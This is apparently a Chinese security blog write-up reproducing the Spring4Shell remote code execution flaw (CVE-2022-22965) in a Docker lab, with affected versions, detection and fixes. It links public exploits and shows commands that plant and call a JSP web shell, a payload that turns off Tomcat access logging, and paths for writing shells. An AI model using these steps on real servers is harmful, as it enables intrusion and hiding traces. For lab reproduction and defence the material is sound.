CVE-2022-22965 Spring Framework JDK >= 9 远程代码执行漏洞复现

CVE-2022-22965 Spring Framework JDK >= 9 远程代码执行漏洞复现

漏洞简述

2022年3月31日,Spring官方发布安全公告,披露CVE-2022-22965 Spring Framework 远程代码执行漏洞。由于Spring框架存在处理流程缺陷,攻击者可在远程条件下,实现对目标主机的后门文件写入和配置修改,继而通过后门文件访问获得目标主机权限。使用Spring框架或衍生框架构建网站等应用,且同时使用JDK版本在9及以上版本的,易受此漏洞攻击影响。

漏洞影响版本

受影响的是同时满足以下状况的场景:

  • JDK 9及以上版本
  • 使用Tomcat 服务器
  • 以war 部署运行
  • 使用了spring-webmvc或 spring-webflux
  • Spring框架版本是 5.3.0 到 5.3.17, 5.2.0 到 5.2.19,以及更旧的版本。

一个不满足都不行,限制条件很多。

漏洞exp

https://github.com/TheGejr/SpringShell

https://github.com/reznok/Spring4Shell-POC

漏洞环境搭建

docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29

返回ok表示环境搭建完成。

漏洞复现

是用上面的exp复现漏洞,会生成jsp随后访问执行命令。

python3 exp.py --url http://localhost:8082
curl "http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami"
命令执行成功

exp的特征也非常明显,并且写入shell后会不断有日志写入。可以使用关闭写入日志payload。

class.module.classLoader.resources.context.parent.pipeline.first.enabled=false

如何找到路径写webshell?

./webapps/系统项目名/   写入当前项目中。
./webapps/ROOT/       tomcat默认web目录。
./webapps/xxx/        如上传目录不存在,则会创建新目录,通过/xxx/shell.jsp访问

溯源排查

日志位置:/app/tomcat/logs/

根目录:/app/tomcat/webapps/ROOT

排查可疑的jsp文件。find / -name *.jsp 2>/dev/null

修复方式

截止2022年3月31日,官方已发布安全版本5.3.18/5.2.20修复该漏洞。

(一) WAF 防护
在 WAF 等网络防护设备上,根据实际部署业务的流量情况,实现对”class.*”,”Class.*”,”.class.*”,”*.Class.*”等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。

(二) 升级官方安全版本 >= 5.3.18/5.2.20

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论